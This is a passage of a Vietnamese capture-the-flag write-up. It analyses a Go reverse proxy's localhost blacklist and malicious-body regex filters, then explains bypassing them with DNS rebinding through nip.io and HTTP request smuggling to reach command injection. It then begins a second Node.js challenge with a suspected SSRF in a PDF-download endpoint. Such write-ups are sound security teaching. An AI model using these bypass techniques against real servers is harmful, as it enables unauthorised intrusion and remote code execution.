    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        addrs = []net.Addr{}
    }

    <span class="hljs-keyword">var</span> ips []<span class="hljs-keyword">string</span>
    <span class="hljs-keyword">for</span> _, addr := <span class="hljs-keyword">range</span> addrs {
        <span class="hljs-keyword">if</span> ipNet, ok := addr.(*net.IPNet); ok &amp;&amp; !ipNet.IP.IsLoopback() {
            <span class="hljs-keyword">if</span> ipNet.IP.To4() != <span class="hljs-literal">nil</span> {
                ips = <span class="hljs-built_in">append</span>(ips, ipNet.IP.String())
            }
        }
    }

    ipList := strings.Join(ips, <span class="hljs-string">", "</span>)

    info := fmt.Sprintf(<span class="hljs-string">"Hostname: %s, Operating System: %s, Architecture: %s, CPU Count: %d, Go Version: %s, IPs: %s"</span>,
        hostname, runtime.GOOS, runtime.GOARCH, runtime.NumCPU(), runtime.Version(), ipList)

    <span class="hljs-keyword">return</span> info
}
</code></pre>
<p>Bao gồm các thông tin như Hostname, Operating System, Architecture, … và đặc biệt là IPs. Ta hãy chú ý đến method IsLoopBack, nó sẽ check xem địa chỉ IP có phải địa chỉ LoopBack hay không. Địa chỉ LoopBack là các địa chỉ như <code>127.0.0.1</code>, <code>::1</code>, … Như vậy mục đích ở đây là loại bỏ các ip localhost như <code>127.0.0.1</code> hay <code>::1</code>.</p>
<p>Tiếp đến ta có thể thấy một số đoạn code xử lý blacklist</p>
<p><strong>blacklistCheck</strong></p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">blacklistCheck</span><span class="hljs-params">(input <span class="hljs-keyword">string</span>)</span> <span class="hljs-title">bool</span></span> {
    <span class="hljs-keyword">var</span> match <span class="hljs-keyword">bool</span> = strings.Contains(input, <span class="hljs-keyword">string</span>([]<span class="hljs-keyword">byte</span>{<span class="hljs-number">108</span>, <span class="hljs-number">111</span>, <span class="hljs-number">99</span>, <span class="hljs-number">97</span>, <span class="hljs-number">108</span>, <span class="hljs-number">104</span>, <span class="hljs-number">111</span>, <span class="hljs-number">115</span>, <span class="hljs-number">116</span>})) || <span class="hljs-comment">// localhost</span>
        strings.Contains(input, <span class="hljs-keyword">string</span>([]<span class="hljs-keyword">byte</span>{<span class="hljs-number">48</span>, <span class="hljs-number">46</span>, <span class="hljs-number">48</span>, <span class="hljs-number">46</span>, <span class="hljs-number">48</span>, <span class="hljs-number">46</span>, <span class="hljs-number">48</span>})) || <span class="hljs-comment">// 0.0.0.0</span>
        strings.Contains(input, <span class="hljs-keyword">string</span>([]<span class="hljs-keyword">byte</span>{<span class="hljs-number">49</span>, <span class="hljs-number">50</span>, <span class="hljs-number">55</span>, <span class="hljs-number">46</span>})) || <span class="hljs-comment">// 127.</span>
        strings.Contains(input, <span class="hljs-keyword">string</span>([]<span class="hljs-keyword">byte</span>{<span class="hljs-number">49</span>, <span class="hljs-number">55</span>, <span class="hljs-number">50</span>, <span class="hljs-number">46</span>})) || <span class="hljs-comment">// 172.</span>
        strings.Contains(input, <span class="hljs-keyword">string</span>([]<span class="hljs-keyword">byte</span>{<span class="hljs-number">49</span>, <span class="hljs-number">57</span>, <span class="hljs-number">50</span>, <span class="hljs-number">46</span>})) || <span class="hljs-comment">// 192.</span>
        strings.Contains(input, <span class="hljs-keyword">string</span>([]<span class="hljs-keyword">byte</span>{<span class="hljs-number">49</span>, <span class="hljs-number">48</span>, <span class="hljs-number">46</span>})) <span class="hljs-comment">// 10.</span>

    <span class="hljs-keyword">return</span> match
}
</code></pre>
<p>Kiểm tra bất kì chuỗi con nào truyền vào có chứa các giá trị nhạy cảm như <code>0.0.0.0</code>, <code>127.</code>, …</p>
<p><strong>checkMaliciousBody</strong></p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">checkMaliciousBody</span><span class="hljs-params">(body <span class="hljs-keyword">string</span>)</span> <span class="hljs-params">(<span class="hljs-keyword">bool</span>, error)</span></span> {
    patterns := []<span class="hljs-keyword">string</span>{
        <span class="hljs-string">"[`;&amp;|]"</span>,
        <span class="hljs-string">`\$\([^)]+\)`</span>,
        <span class="hljs-string">`(?i)(union)(.*)(select)`</span>,
        <span class="hljs-string">`&lt;script.*?&gt;.*?&lt;/script&gt;`</span>,
        <span class="hljs-string">`\r\n|\r|\n`</span>,
        <span class="hljs-string">`&lt;!DOCTYPE.*?\[.*?&lt;!ENTITY.*?&gt;.*?&gt;`</span>,
    }

    <span class="hljs-keyword">for</span> _, pattern := <span class="hljs-keyword">range</span> patterns {
        match, _ := regexp.MatchString(pattern, body)
        <span class="hljs-keyword">if</span> match {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>, <span class="hljs-literal">nil</span>
        }
    }
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>, <span class="hljs-literal">nil</span>
}
</code></pre>
<p>Xem phần body có chứa các giá trị liên qua đến một số kiểu tấn công như CRLF, SQLi hay XSS, …</p>
<p><strong>checkIfLocalhost</strong></p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">checkIfLocalhost</span><span class="hljs-params">(address <span class="hljs-keyword">string</span>)</span> <span class="hljs-params">(<span class="hljs-keyword">bool</span>, error)</span></span> {
    IPs, err := net.LookupIP(address)
    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>, err
    }

    <span class="hljs-keyword">for</span> _, ip := <span class="hljs-keyword">range</span> IPs {
        <span class="hljs-keyword">if</span> ip.IsLoopback() {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>, <span class="hljs-literal">nil</span>
        }
    }

    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>, <span class="hljs-literal">nil</span>
}
</code></pre>
<p>Kiểm tra xem chuỗi truyền vào có phải địa chỉ IP localhost hay không</p>
<pre><code class="lang-go"><span class="hljs-keyword">var</span> hostAddress <span class="hljs-keyword">string</span> = hostArray[<span class="hljs-number">0</span>]
<span class="hljs-keyword">var</span> isIPv4Addr <span class="hljs-keyword">bool</span> = isIPv4(hostAddress)
<span class="hljs-keyword">var</span> isDomainAddr <span class="hljs-keyword">bool</span> = isDomain(hostAddress)

<span class="hljs-keyword">if</span> !isIPv4Addr &amp;&amp; !isDomainAddr {
    <span class="hljs-keyword">var</span> responseText <span class="hljs-keyword">string</span> = badReqResponse(<span class="hljs-string">"Invalid host"</span>)
    frontendConn.Write([]<span class="hljs-keyword">byte</span>(responseText))
    frontendConn.Close()
    <span class="hljs-keyword">return</span>
}

isLocal, err := checkIfLocalhost(hostAddress)
<span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
    <span class="hljs-keyword">var</span> responseText <span class="hljs-keyword">string</span> = errorResponse(<span class="hljs-string">"Invalid host"</span>)
    frontendConn.Write([]<span class="hljs-keyword">byte</span>(responseText))
    frontendConn.Close()
    <span class="hljs-keyword">return</span>
}

<span class="hljs-keyword">if</span> isLocal {
    <span class="hljs-keyword">var</span> responseText <span class="hljs-keyword">string</span> = movedPermResponse(<span class="hljs-string">"/"</span>)
    frontendConn.Write([]<span class="hljs-keyword">byte</span>(responseText))
    frontendConn.Close()
    <span class="hljs-keyword">return</span>
}

isMalicious, err := checkMaliciousBody(request.Body)
<span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> || isMalicious {
    <span class="hljs-keyword">var</span> responseText <span class="hljs-keyword">string</span> = badReqResponse(<span class="hljs-string">"Malicious request detected"</span>)
    prettyLog(<span class="hljs-number">1</span>, <span class="hljs-string">"Malicious request detected"</span>)
    frontendConn.Write([]<span class="hljs-keyword">byte</span>(responseText))
    frontendConn.Close()
    <span class="hljs-keyword">return</span>
}
</code></pre>
<p>Kiểm tra xem địa chỉ truyền vào có phải là IPv4 hoặc một domain thông qua việc sử dụng 2 function: <code>isIPv4</code> và <code>isDomain</code></p>
<p><strong>isIPv4</strong></p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">isIPv4</span><span class="hljs-params">(input <span class="hljs-keyword">string</span>)</span> <span class="hljs-title">bool</span></span> {
    <span class="hljs-keyword">if</span> strings.Contains(input, <span class="hljs-keyword">string</span>([]<span class="hljs-keyword">byte</span>{<span class="hljs-number">48</span>, <span class="hljs-number">120</span>})) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
    }
    <span class="hljs-keyword">var</span> ipv4Pattern <span class="hljs-keyword">string</span> = <span class="hljs-string">`^(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$`</span>
    match, _ := regexp.MatchString(ipv4Pattern, input)
    <span class="hljs-keyword">return</span> match &amp;&amp; !blacklistCheck(input)
}
</code></pre>
<p>Tại <code>isIPv4</code> đoạn code sử dụng một đoạn regex lớn để check xem địa chỉ truyền vào có phải địa chỉ IP hợp lệ, thậm chí nó còn được sử dụng để tránh bypass việc encode IP thông qua việc bypass cả các kí tự chứa <code>0x</code></p>
<p><strong>isDomain</strong></p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">isDomain</span><span class="hljs-params">(input <span class="hljs-keyword">string</span>)</span> <span class="hljs-title">bool</span></span> {
    <span class="hljs-keyword">var</span> domainPattern <span class="hljs-keyword">string</span> = <span class="hljs-string">`^[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,})$`</span>
    match, _ := regexp.MatchString(domainPattern, input)
    <span class="hljs-keyword">return</span> match &amp;&amp; !blacklistCheck(input)
}
</code></pre>
<p>Tại <code>isDomain</code>, golang kiểm tra xem dữ liệu đầu vào có phải là một tên miền hợp lệ và không nằm trong blacklist</p>
<p>Ta thấy dường như những config này ngăn chặn chúng ta khỏi việc tấn công SSRF qua việc truyền vào IP <a target="_blank" href="http://localhost">localhost</a> nhằm bypass proxy để có thể get respone từ server nodejs. Dường như tất cả các kĩ thuật thông thường nhằm trigger SSRF đều không thành công vượt qua Blacklist này. Mất một thời gian tìm hiểu thì mình biết được ngoài việc trigger SSRF thông thường ta còn có thể sử dụng một kỹ thuật đó là <a target="_blank" href="https://unit42.paloaltonetworks.com/dns-rebinding/">DNS Binding</a> thông qua việc sử dụng <a target="_blank" href="https://hackmd.io/@CaRZODiyRTmwgiK0D4Rf8A/B1fgUdn7C">nip.io</a>.</p>
<p><a target="_blank" href="https://nip.io/">Nip.io</a> là một dịch vụ DNS tự động chuyển đổi địa chỉ IP thành tên miền phụ dựa trên định dạng nhất định. Ví dụ, nếu địa chỉ IP của máy chủ là 192.0.2.1, ta có thể truy cập vào máy chủ đó bằng cách sử dụng tên miền phụ "<a target="_blank" href="http://192.0.2.1.nip.io">192.0.2.1.nip.io</a>".</p>
<p><img src="https://hackmd.io/_uploads/HkkAnthQA.png" alt="image" /></p>
<p>Vậy liệu ta có thể bypass SSRF blacklist thông qua việc sử dụng nip.io? Câu trả lời là chưa?</p>
<p><img src="https://hackmd.io/_uploads/B1q0x52X0.png" alt="image" /></p>
<p>Vì giá trị Host truyền vào vẫn chứa giá trị 127. nên là vẫn chưa thể bypass qua SSRF</p>
<p>Mình tiếp tục thử việc encode địa chỉ ip</p>
<p><img src="https://hackmd.io/_uploads/By1Ybc2QA.png" alt="image" /></p>
<p>Tuy nhiên vấn đề này vẫn chưa được giải quyết do đoạn xử lý tại <code>checkIfLocalhost</code></p>
<p><img src="https://hackmd.io/_uploads/Syy1SypmR.png" alt="image" /></p>
<p>Hey Wait !!! I forgot something, miss <code>/server-status</code></p>
<p><img src="https://hackmd.io/_uploads/HJwDAYhQ0.png" alt="image" /></p>
<p>Khi truy cập vào endpoint này nó sẽ cung cấp cho chúng ta địa chỉ ip của container</p>
<p><img src="https://hackmd.io/_uploads/rkS-Xch7C.png" alt="image" /></p>
<p><code>192.168.82.66</code> ở đây có vẻ chính là địa chị ip của phần backend xử lý được mở ở port 5000. Như đã phân tích từ đầu ta cần gọi các endpoint của Phần xử lý backend của NodeJS như <code>/flushInterface</code> để trigger RCE. Dó đó, ta có thể sử dụng ip này bypass qua blacklist check, thay vì sử dụng <code>192</code>. ta hoàn toàn có thể sử dụng được <code>192-</code> và điều này cũng được cho phép bởi <a target="_blank" href="https://nip.io/">nip.io</a> dash notation: <code>magic-127-0-0-1.nip.io</code></p>
<p><img src="https://hackmd.io/_uploads/B1xU4c2XA.png" alt="image" /></p>
<p>Như vậy ta đã bypass thành công được blacklist và trigger SSRF</p>
<p><strong>Bypass proxy to get endpoint /flushInterface via HTTP Request Smuggling</strong></p>
<p>Như đã phân tích từ đầu mục tiêu của chúng ta là get endpoint <code>/flushInterface</code> nhằm trigger RCE. Tuy nhiên do việc truy cập endpoint này đã bị proxy chặn từ trước đó</p>
<pre><code class="lang-go"><span class="hljs-keyword">if</span> strings.Contains(strings.ToLower(request.URL), <span class="hljs-keyword">string</span>([]<span class="hljs-keyword">byte</span>{<span class="hljs-number">102</span>, <span class="hljs-number">108</span>, <span class="hljs-number">117</span>, <span class="hljs-number">115</span>, <span class="hljs-number">104</span>, <span class="hljs-number">105</span>, <span class="hljs-number">110</span>, <span class="hljs-number">116</span>, <span class="hljs-number">101</span>, <span class="hljs-number">114</span>, <span class="hljs-number">102</span>, <span class="hljs-number">97</span>, <span class="hljs-number">99</span>, <span class="hljs-number">101</span>})) {
    <span class="hljs-keyword">var</span> responseText <span class="hljs-keyword">string</span> = badReqResponse(<span class="hljs-string">"Not Allowed"</span>)
    frontendConn.Write([]<span class="hljs-keyword">byte</span>(responseText))
    frontendConn.Close()
    <span class="hljs-keyword">return</span>
}
</code></pre>
<p>Ta vẫn chưa thể thành công thực thi được RCE mặc dù đã bypass được SSRF blacklisst check</p>
<p><img src="https://hackmd.io/_uploads/BJefO1pQ0.png" alt="image" /></p>
<p>Mục tiêu giờ đây chuyển hướng sang HTTP Request Smuggling. Tại sao lại là Request Smuggling thì cũng tại đoạn golang xử lý proxy mình tìm được một vài xử lý thú vi trong đoạn code đối với request</p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">requestParser</span><span class="hljs-params">(requestBytes []<span class="hljs-keyword">byte</span>, remoteAddr <span class="hljs-keyword">string</span>)</span> <span class="hljs-params">(*HTTPRequest, error)</span></span> {
    <span class="hljs-keyword">var</span> requestLines []<span class="hljs-keyword">string</span> = strings.Split(<span class="hljs-keyword">string</span>(requestBytes), <span class="hljs-string">"\r\n"</span>)
    <span class="hljs-keyword">var</span> bodySplit []<span class="hljs-keyword">string</span> = strings.Split(<span class="hljs-keyword">string</span>(requestBytes), <span class="hljs-string">"\r\n\r\n"</span>)

    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(requestLines) &lt; <span class="hljs-number">1</span> {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, fmt.Errorf(<span class="hljs-string">"invalid request format"</span>)
    }

    <span class="hljs-keyword">var</span> requestLine []<span class="hljs-keyword">string</span> = strings.Fields(requestLines[<span class="hljs-number">0</span>])
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(requestLine) != <span class="hljs-number">3</span> {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, fmt.Errorf(<span class="hljs-string">"invalid request line"</span>)
    }

    <span class="hljs-keyword">var</span> request *HTTPRequest = &amp;HTTPRequest{
        RemoteAddr: remoteAddr,
        Method:     requestLine[<span class="hljs-number">0</span>],
        URL:        requestLine[<span class="hljs-number">1</span>],
        Protocol:   requestLine[<span class="hljs-number">2</span>],
        Headers:    <span class="hljs-built_in">make</span>(<span class="hljs-keyword">map</span>[<span class="hljs-keyword">string</span>]<span class="hljs-keyword">string</span>),
    }

    <span class="hljs-keyword">for</span> _, line := <span class="hljs-keyword">range</span> requestLines[<span class="hljs-number">1</span>:] {
        <span class="hljs-keyword">if</span> line == <span class="hljs-string">""</span> {
            <span class="hljs-keyword">break</span>
        }

        headerParts := strings.SplitN(line, <span class="hljs-string">": "</span>, <span class="hljs-number">2</span>)
        <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(headerParts) != <span class="hljs-number">2</span> {
            <span class="hljs-keyword">continue</span>
        }

        request.Headers[headerParts[<span class="hljs-number">0</span>]] = headerParts[<span class="hljs-number">1</span>]
    }

    <span class="hljs-keyword">if</span> request.Method == HTTPMethods.POST {
        contentLength, contentLengthExists := request.Headers[<span class="hljs-string">"Content-Length"</span>]
        <span class="hljs-keyword">if</span> !contentLengthExists {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, fmt.Errorf(<span class="hljs-string">"unknown content length for body"</span>)
        }

        contentLengthInt, err := strconv.Atoi(contentLength)
        <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, fmt.Errorf(<span class="hljs-string">"invalid content length"</span>)
        }

        <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(bodySplit) &lt;= <span class="hljs-number">1</span> {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, fmt.Errorf(<span class="hljs-string">"invalid content length"</span>)
        }
        <span class="hljs-keyword">var</span> bodyContent <span class="hljs-keyword">string</span> = bodySplit[<span class="hljs-number">1</span>]
        <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(bodyContent) != contentLengthInt {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, fmt.Errorf(<span class="hljs-string">"invalid content length"</span>)
        }

        request.Body = bodyContent[<span class="hljs-number">0</span>:contentLengthInt]
        <span class="hljs-keyword">return</span> request, <span class="hljs-literal">nil</span>
    }

    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(bodySplit) &gt; <span class="hljs-number">1</span> &amp;&amp; bodySplit[<span class="hljs-number">1</span>] != <span class="hljs-string">""</span> {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, fmt.Errorf(<span class="hljs-string">"can't include body for non-POST requests"</span>)
    }

    <span class="hljs-keyword">return</span> request, <span class="hljs-literal">nil</span>
}
</code></pre>
<p>Tại đây, golang phân tích phần thân bằng cách chỉ cần tách request thành một mảng nơi có ký tự <code>\r\n\r\n</code>. Đối với một yêu cầu HTTP thông thường, điều này là hợp lý vì phần thân thường nằm sau <code>\r\n\r\n</code>. Tuy nhiên, ta có thể thấy một điều kì lạ là nếu ta tiếp sử dụng <code>\r\n\r\n</code> để gửi request thứ hai (smuggling) và bằng cách cố định việc truyền <code>Content-Length: 1</code> và phần body với length tương đương, lúc này <code>request parser</code> sẽ coi phần thân lúc này chỉ là byte đầu với length là 1, điều này có nghĩa là khi <code>checkMaliciousBody</code> kiểm tra nó sẽ chỉ xem xét duy nhất byte này mà không tiến hành check requests thứ hai</p>
<p><img src="https://hackmd.io/_uploads/S16mRJTXA.png" alt="image" /></p>
<p>Điều này xảy ra do việc sử dụng <code>\r\n\r\n</code> nhằm phân tách phần body và HTTP Header <code>var bodySplit []string = strings.Split(string(requestBytes), "\r\n\r\n")</code></p>
<p>Ta có thể thấy mảng bodySplit được tạo ra thông qua việc tách chuỗi thành các chuỗi con dựa trên kí tự phân tách <code>\r\n\r\n</code> Tuy nhiên phần được coi là body chỉ là phần thứ hai <code>var bodyContent string = bodySplit[1]</code> và các phân tiếp sau không được xét đến. Khi đó golang chỉ coi <code>a</code> là body và check Content-Length có thỏa mãn hay không</p>
<pre><code class="lang-go"><span class="hljs-keyword">var</span> bodyContent <span class="hljs-keyword">string</span> = bodySplit[<span class="hljs-number">1</span>]
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(bodyContent) != contentLengthInt {
    <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>, fmt.Errorf(<span class="hljs-string">"invalid content length"</span>)
}
</code></pre>
<p>Như mình đã phân tích ta có thể bypass qua điều này bằng cách thao túng Content-Length truyền vào. Lúc này <code>checkMaliciousBody</code> kiểm tra, nó chỉ coi <code>a</code> là body, lúc này là có thể bypass qua <code>checkMaliciousBody</code> bằng cách truyền phần body và Content-Length hợp lệ. Do chưa gặp kí tự kết thúc</p>
<pre><code class="lang-go"><span class="hljs-keyword">if</span> line == <span class="hljs-string">""</span> 
{
    <span class="hljs-keyword">break</span>
</code></pre>
<p>Lúc này golang tiếp tục check requests thứ hai, tại đây ta có thể trigger RCE mà không bị loại bỏ bởi blacklist</p>
<p><img src="https://hackmd.io/_uploads/SyOFmgpQR.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/BkicXepQA.png" alt="image" /></p>
<p>Exploit Chain: DNS re-binding =&gt; HTTP smuggling on custom HTTP reverse-proxy =&gt; command injection on ip-wrapper library.</p>
<p><img src="https://hackmd.io/_uploads/HypvSlpmR.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SyAOHgp7A.png" alt="image" /></p>
<h3 id="heading-flag-1">Flag</h3>
<p><code>HTB{r3inv3nting_th3_wh331_c4n_cr34t3_h34dach35_bc1cd3704dc00e9a4e356dc60c4b8c7b}</code></p>
<h3 id="heading-skills-learned">Skills Learned</h3>
<p>Sử dụng kỹ thuật DNS re-binding để bypass <a target="_blank" href="http://localhost">localhost</a> checks.</p>
<p>Sử dung HTTP smuggling thông qua việc tận dụng lỗ hổng trong http parsers.</p>
<p>RCE bypass space</p>
<h2 id="heading-blueprint-heist">Blueprint Heist</h2>
<p><strong><em>credit: Trương Ngọc Lâm</em></strong></p>
<p><img src="https://hackmd.io/_uploads/S1j1hhjXC.png" alt="image" /></p>
<p>Tiếp theo là một bài white-box với source <strong>nodejs+graphql+ejs template</strong></p>
<p>Bài này chain khá nhiều vul cụ thể ta phải tận dụng 3 lỗi để RCE.</p>
<h3 id="heading-reconnaissance-detect">Reconnaissance + detect</h3>
<p>Đặt bản thân với tư các người dùng thì mình sẽ test qua các chức năng chính của trang web.</p>
<p>Giao diện chỉ đơn giản như dưới đây:</p>
<p><img src="https://hackmd.io/_uploads/SyrqpnjQC.png" alt="image" /></p>
<p>Khi click vào 2 mục thì sẽ tải các file pdf từng phần liên quan của các mục về máy mình.</p>
<p>View nhanh qua các api được gọi:</p>
<p><img src="https://hackmd.io/_uploads/HkcVA2om0.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/rkxc3RhoQC.png" alt="image" /></p>
<p>Tiêu biểu ở đây nhất là api <code>/download</code> nhận param token và body là url đường dẫn trực tiếp-&gt; nghi nghi ssrf ở đâu đây :/</p>
<p>Mình sẽ đi luôn vào source code để làm sáng tỏ những api trên.</p>
<p><img src="https://hackmd.io/_uploads/ByC3J6jmC.png" alt="image" /></p>
<p>Mục tiêu của bài này là đọc file flag nằm tại /root/flag -&gt; có 2 cách để tiếp cận, 1 là đọc trực tiếp nó, 2 là run /readflag có chức năng đọc file trên.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">//index.js</span>
app.set(<span class="hljs-string">"view engine"</span>, <span class="hljs-string">"ejs"</span>);
app.use(<span class="hljs-string">'/static'</span>, express.static(path.join(__dirname, <span class="hljs-string">'static'</span>)));

app.use(internalRoutes)
app.use(publicRoutes)

app.use(<span class="hljs-function">(<span class="hljs-params">res, req, next</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> err = generateError(<span class="hljs-number">404</span>, <span class="hljs-string">"Not Found"</span>)
  <span class="hljs-keyword">return</span> next(err);
});

app.use(<span class="hljs-function">(<span class="hljs-params">err, req, res, next</span>) =&gt;</span> {
  renderError(err, req, res);
});
</code></pre>
<p>Có thể thấy web có 2 routes chính là <code>publicRoutes</code> và <code>internalRoutes</code> bên cạnh đó còn 1 middleware <code>generateError</code> để validate một vài lỗi trước khi <code>renderError</code> ở cuối.</p>
<p>Vì ứng dụng viết theo mô hình mvc nên mình sẽ phân thích theo tư duy này luôn</p>
<p>Đi thẳng vào 2 routes này:</p>
<p><strong>publicRoutes</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> { authMiddleware, generateGuestToken } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../controllers/authController"</span>)
<span class="hljs-keyword">const</span> { convertPdf } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../controllers/downloadController"</span>)

router.get(<span class="hljs-string">"/"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    res.render(<span class="hljs-string">"index"</span>);
})

router.get(<span class="hljs-string">"/report/progress"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    res.render(<span class="hljs-string">"reports/progress-report"</span>)
})

router.get(<span class="hljs-string">"/report/enviromental-impact"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    res.render(<span class="hljs-string">"reports/enviromental-report"</span>)
})

router.get(<span class="hljs-string">"/getToken"</span>, <span class="hljs-function">(<span class="hljs-params">req, res, next</span>) =&gt;</span> {
    generateGuestToken(req, res, next)
});

router.post(<span class="hljs-string">"/download"</span>, authMiddleware(<span class="hljs-string">"guest"</span>), <span class="hljs-function">(<span class="hljs-params">req, res, next</span>) =&gt;</span> {
    convertPdf(req, res, next)
})
</code></pre>
<p>Route này lại chứa 5 routes chính và ở đây có 2 routes quan trọng để khai thác:</p>
<ul>
<li><code>/getToken</code> endpoint để generate token cho guest và trả ra trực tiếp cho client. Sử dụng method <code>generateGuestToken</code> nằm trong authController với secret trong <code>.env</code>.</li>
</ul>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateGuestToken</span>(<span class="hljs-params">req, res, next</span>) </span>{
    <span class="hljs-keyword">const</span> payload = {
        <span class="hljs-attr">role</span>: <span class="hljs-string">'user'</span>
    };
    jwt.sign(payload, secret, <span class="hljs-function">(<span class="hljs-params">err, token</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (err) {
            next(generateError(<span class="hljs-number">500</span>, <span class="hljs-string">"Failed to generate token."</span>));;
        } <span class="hljs-keyword">else</span> {
            res.send(token);
        }
    });
}
</code></pre>
<ul>
<li><code>/dowload</code> endpoint với method post có vẻ đây là api quan trọng mà ta tìm được ở trên thì tương tự nó dùng method <code>convertPdf</code> và cần phải có auth với guest được, nó sẽ lấy nội dung từ url của mình và lưu thành filepdf.</li>
</ul>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> { generateError } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./errorController'</span>);
<span class="hljs-keyword">const</span> { isUrl } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../utils/security"</span>)
<span class="hljs-keyword">const</span> crypto = <span class="hljs-built_in">require</span>(<span class="hljs-string">'crypto'</span>);
<span class="hljs-keyword">const</span> wkhtmltopdf = <span class="hljs-built_in">require</span>(<span class="hljs-string">'wkhtmltopdf'</span>);

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">convertPdf</span>(<span class="hljs-params">req, res, next</span>) </span>{
    <span class="hljs-keyword">try</span> {
        <span class="hljs-keyword">const</span> { url } = req.body;

        <span class="hljs-keyword">if</span> (!isUrl(url)) {
            <span class="hljs-keyword">return</span> next(generateError(<span class="hljs-number">400</span>, <span class="hljs-string">"Invalid URL"</span>));
        }

        <span class="hljs-keyword">const</span> pdfPath = <span class="hljs-keyword">await</span> generatePdf(url);
        res.sendFile(pdfPath, {<span class="hljs-attr">root</span>: <span class="hljs-string">"."</span>});

    } <span class="hljs-keyword">catch</span> (error) {
        <span class="hljs-keyword">return</span> next(generateError(<span class="hljs-number">500</span>, error.message));
    }
}

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generatePdf</span>(<span class="hljs-params">urls</span>) </span>{
    <span class="hljs-keyword">const</span> pdfFilename = generateRandomFilename();
    <span class="hljs-keyword">const</span> pdfPath = <span class="hljs-string">`uploads/<span class="hljs-subst">${pdfFilename}</span>`</span>;

    <span class="hljs-keyword">try</span> {
        <span class="hljs-keyword">await</span> generatePdfFromUrl(urls, pdfPath);
        <span class="hljs-keyword">return</span> pdfPath;
    } <span class="hljs-keyword">catch</span> (error) {
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">`Error generating PDF: <span class="hljs-subst">${error.stack}</span>`</span>);
    }
}

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generatePdfFromUrl</span>(<span class="hljs-params">url, pdfPath</span>) </span>{
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Promise</span>(<span class="hljs-function">(<span class="hljs-params">resolve, reject</span>) =&gt;</span> {
        wkhtmltopdf(url, { <span class="hljs-attr">output</span>: pdfPath }, <span class="hljs-function">(<span class="hljs-params">err</span>) =&gt;</span> {
            <span class="hljs-keyword">if</span> (err) {
                <span class="hljs-built_in">console</span>.log(err)
                reject(err);
            } <span class="hljs-keyword">else</span> {
                resolve();
            }
        });
    });
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateRandomFilename</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> randomString = crypto.randomBytes(<span class="hljs-number">16</span>).toString(<span class="hljs-string">'hex'</span>);
    <span class="hljs-keyword">return</span> <span class="hljs-string">`<span class="hljs-subst">${randomString}</span>.pdf`</span>;
}

<span class="hljs-built_in">module</span>.exports = { convertPdf };
</code></pre>
